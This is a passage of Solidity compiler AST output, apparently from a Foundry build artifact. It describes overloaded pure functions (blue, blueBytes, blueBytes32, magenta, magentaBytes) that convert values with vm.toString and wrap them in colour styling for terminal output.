memory"}},"functionReturnParameters":9836,"id":9843,"nodeType":"Return","src":"4035:30:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"blue","nameLocation":"3971:4:9","parameters":{"id":9833,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9832,"mutability":"mutable","name":"self","nameLocation":"3981:4:9","nodeType":"VariableDeclaration","scope":9845,"src":"3976:9:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":9831,"name":"bool","nodeType":"ElementaryTypeName","src":"3976:4:9","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"3975:11:9"},"returnParameters":{"id":9836,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9835,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":9845,"src":"4010:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":9834,"name":"string","nodeType":"ElementaryTypeName","src":"4010:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"4009:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":9860,"nodeType":"FunctionDefinition","src":"4078:123:9","nodes":[],"body":{"id":9859,"nodeType":"Block","src":"4154:47:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":9855,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9847,"src":"4188:4:9","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":9853,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"4176:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":9854,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4179:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13417,"src":"4176:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bytes_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (bytes memory) pure external returns (string memory)"}},"id":9856,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4176:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":9852,"name":"blue","nodeType":"Identifier","overloadedDeclarations":[9785,9800,9815,9830,9845],"referencedDeclaration":9785,"src":"4171:4:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":9857,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4171:23:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":9851,"id":9858,"nodeType":"Return","src":"4164:30:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"blueBytes","nameLocation":"4087:9:9","parameters":{"id":9848,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9847,"mutability":"mutable","name":"self","nameLocation":"4110:4:9","nodeType":"VariableDeclaration","scope":9860,"src":"4097:17:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":9846,"name":"bytes","nodeType":"ElementaryTypeName","src":"4097:5:9","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"4096:19:9"},"returnParameters":{"id":9851,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9850,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":9860,"src":"4139:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":9849,"name":"string","nodeType":"ElementaryTypeName","src":"4139:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"4138:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":9875,"nodeType":"FunctionDefinition","src":"4207:120:9","nodes":[],"body":{"id":9874,"nodeType":"Block","src":"4280:47:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":9870,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9862,"src":"4314:4:9","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":9868,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"4302:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":9869,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4305:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13425,"src":"4302:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bytes32_$returns$_t_string_memory_ptr_$","typeString":"function (bytes32) pure external returns (string memory)"}},"id":9871,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4302:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":9867,"name":"blue","nodeType":"Identifier","overloadedDeclarations":[9785,9800,9815,9830,9845],"referencedDeclaration":9785,"src":"4297:4:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":9872,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4297:23:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":9866,"id":9873,"nodeType":"Return","src":"4290:30:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"blueBytes32","nameLocation":"4216:11:9","parameters":{"id":9863,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9862,"mutability":"mutable","name":"self","nameLocation":"4236:4:9","nodeType":"VariableDeclaration","scope":9875,"src":"4228:12:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":9861,"name":"bytes32","nodeType":"ElementaryTypeName","src":"4228:7:9","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"4227:14:9"},"returnParameters":{"id":9866,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9865,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":9875,"src":"4265:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":9864,"name":"string","nodeType":"ElementaryTypeName","src":"4265:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"4264:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":9888,"nodeType":"FunctionDefinition","src":"4333:125:9","nodes":[],"body":{"id":9887,"nodeType":"Block","src":"4408:50:9","nodes":[],"statements":[{"expression":{"arguments":[{"id":9883,"name":"MAGENTA","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9422,"src":"4437:7:9","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":9884,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9877,"src":"4446:4:9","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":9882,"name":"styleConcat","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9463,"src":"4425:11:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory,string memory) pure returns (string memory)"}},"id":9885,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4425:26:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":9881,"id":9886,"nodeType":"Return","src":"4418:33:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"magenta","nameLocation":"4342:7:9","parameters":{"id":9878,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9877,"mutability":"mutable","name":"self","nameLocation":"4364:4:9","nodeType":"VariableDeclaration","scope":9888,"src":"4350:18:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":9876,"name":"string","nodeType":"ElementaryTypeName","src":"4350:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"4349:20:9"},"returnParameters":{"id":9881,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9880,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":9888,"src":"4393:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":9879,"name":"string","nodeType":"ElementaryTypeName","src":"4393:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"4392:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":9903,"nodeType":"FunctionDefinition","src":"4464:119:9","nodes":[],"body":{"id":9902,"nodeType":"Block","src":"4533:50:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":9898,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9890,"src":"4570:4:9","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":9896,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"4558:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":9897,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4561:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13441,"src":"4558:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_uint256_$returns$_t_string_memory_ptr_$","typeString":"function (uint256) pure external returns (string memory)"}},"id":9899,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4558:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":9895,"name":"magenta","nodeType":"Identifier","overloadedDeclarations":[9888,9903,9918,9933,9948],"referencedDeclaration":9888,"src":"4550:7:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":9900,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4550:26:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":9894,"id":9901,"nodeType":"Return","src":"4543:33:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"magenta","nameLocation":"4473:7:9","parameters":{"id":9891,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9890,"mutability":"mutable","name":"self","nameLocation":"4489:4:9","nodeType":"VariableDeclaration","scope":9903,"src":"4481:12:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":9889,"name":"uint256","nodeType":"ElementaryTypeName","src":"4481:7:9","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"4480:14:9"},"returnParameters":{"id":9894,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9893,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":9903,"src":"4518:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":9892,"name":"string","nodeType":"ElementaryTypeName","src":"4518:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"4517:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":9918,"nodeType":"FunctionDefinition","src":"4589:118:9","nodes":[],"body":{"id":9917,"nodeType":"Block","src":"4657:50:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":9913,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9905,"src":"4694:4:9","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"}],"expression":{"id":9911,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"4682:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":9912,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4685:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13449,"src":"4682:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_int256_$returns$_t_string_memory_ptr_$","typeString":"function (int256) pure external returns (string memory)"}},"id":9914,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4682:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":9910,"name":"magenta","nodeType":"Identifier","overloadedDeclarations":[9888,9903,9918,9933,9948],"referencedDeclaration":9888,"src":"4674:7:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":9915,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4674:26:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":9909,"id":9916,"nodeType":"Return","src":"4667:33:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"magenta","nameLocation":"4598:7:9","parameters":{"id":9906,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9905,"mutability":"mutable","name":"self","nameLocation":"4613:4:9","nodeType":"VariableDeclaration","scope":9918,"src":"4606:11:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":9904,"name":"int256","nodeType":"ElementaryTypeName","src":"4606:6:9","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"4605:13:9"},"returnParameters":{"id":9909,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9908,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":9918,"src":"4642:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":9907,"name":"string","nodeType":"ElementaryTypeName","src":"4642:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"4641:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":9933,"nodeType":"FunctionDefinition","src":"4713:119:9","nodes":[],"body":{"id":9932,"nodeType":"Block","src":"4782:50:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":9928,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9920,"src":"4819:4:9","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":9926,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"4807:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":9927,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4810:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13409,"src":"4807:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_address_$returns$_t_string_memory_ptr_$","typeString":"function (address) pure external returns (string memory)"}},"id":9929,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4807:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":9925,"name":"magenta","nodeType":"Identifier","overloadedDeclarations":[9888,9903,9918,9933,9948],"referencedDeclaration":9888,"src":"4799:7:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":9930,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4799:26:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":9924,"id":9931,"nodeType":"Return","src":"4792:33:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"magenta","nameLocation":"4722:7:9","parameters":{"id":9921,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9920,"mutability":"mutable","name":"self","nameLocation":"4738:4:9","nodeType":"VariableDeclaration","scope":9933,"src":"4730:12:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":9919,"name":"address","nodeType":"ElementaryTypeName","src":"4730:7:9","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"4729:14:9"},"returnParameters":{"id":9924,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9923,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":9933,"src":"4767:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":9922,"name":"string","nodeType":"ElementaryTypeName","src":"4767:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"4766:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":9948,"nodeType":"FunctionDefinition","src":"4838:116:9","nodes":[],"body":{"id":9947,"nodeType":"Block","src":"4904:50:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":9943,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9935,"src":"4941:4:9","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":9941,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"4929:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":9942,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4932:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13433,"src":"4929:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bool_$returns$_t_string_memory_ptr_$","typeString":"function (bool) pure external returns (string memory)"}},"id":9944,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4929:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":9940,"name":"magenta","nodeType":"Identifier","overloadedDeclarations":[9888,9903,9918,9933,9948],"referencedDeclaration":9888,"src":"4921:7:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":9945,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4921:26:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":9939,"id":9946,"nodeType":"Return","src":"4914:33:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"magenta","nameLocation":"4847:7:9","parameters":{"id":9936,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9935,"mutability":"mutable","name":"self","nameLocation":"4860:4:9","nodeType":"VariableDeclaration","scope":9948,"src":"4855:9:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":9934,"name":"bool","nodeType":"ElementaryTypeName","src":"4855:4:9","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"4854:11:9"},"returnParameters":{"id":9939,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9938,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":9948,"src":"4889:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":9937,"name":"string","nodeType":"ElementaryTypeName","src":"4889:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"4888:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":9963,"nodeType":"FunctionDefinition","src":"4960:129:9","nodes":[],"body":{"id":9962,"nodeType":"Block","src":"5039:50:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":9958,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9950,"src":"5076:4:9","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":9956,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"5064:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":9957,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5067:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13417,"src":"5064:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bytes_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (bytes memory) pure external returns (string memory)"}},"id":9959,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5064:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":9955,"name":"magenta","nodeType":"Identifier","overloadedDeclarations":[9888,9903,9918,9933,9948],"referencedDeclaration":9888,"src":"5056:7:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":9960,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5056:26:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":9954,"id":9961,"nodeType":"Return","src":"5049:33:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"magentaBytes","nameLocation":"4969:12:9","parameters":{"id":9951,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9950,"mutability":"mutable","name":"self","nameLocation":"4995:4:9","nodeType":"VariableDeclaration","scope":9963,"src":"4982:17:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":9949,"name":"bytes","nodeType":"ElementaryTypeName","src":"4982:5:9","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"4981:19:9"},"returnParameters":{"id":9954,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9953,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":9963,"src":"5024:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":9952,"name":"string","nodeType":"ElementaryTypeName","src":"5024:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"5023:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":9978,"nodeType":"FunctionDefinition","src":"5095:126:9","nodes":[],"body":{"id":9977,"nodeType":"Block","src":"5171:50:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":9973,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9965,"src":"5208:4:9","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":9971,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"5196:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":9972,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5199:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13425,"src":"5196:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bytes32_$returns$_t_string_memory_ptr_$","typeString":"function (bytes32) pure external returns (string memory)"}},"id":9974,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5196:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":9970,"name":"magenta","nodeType":"Identifier","overloadedDeclarations":[9888,9903,9918,9933,9948],"referencedDeclaration":9888,"src":"5188:7:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":9975,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5188:26:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string 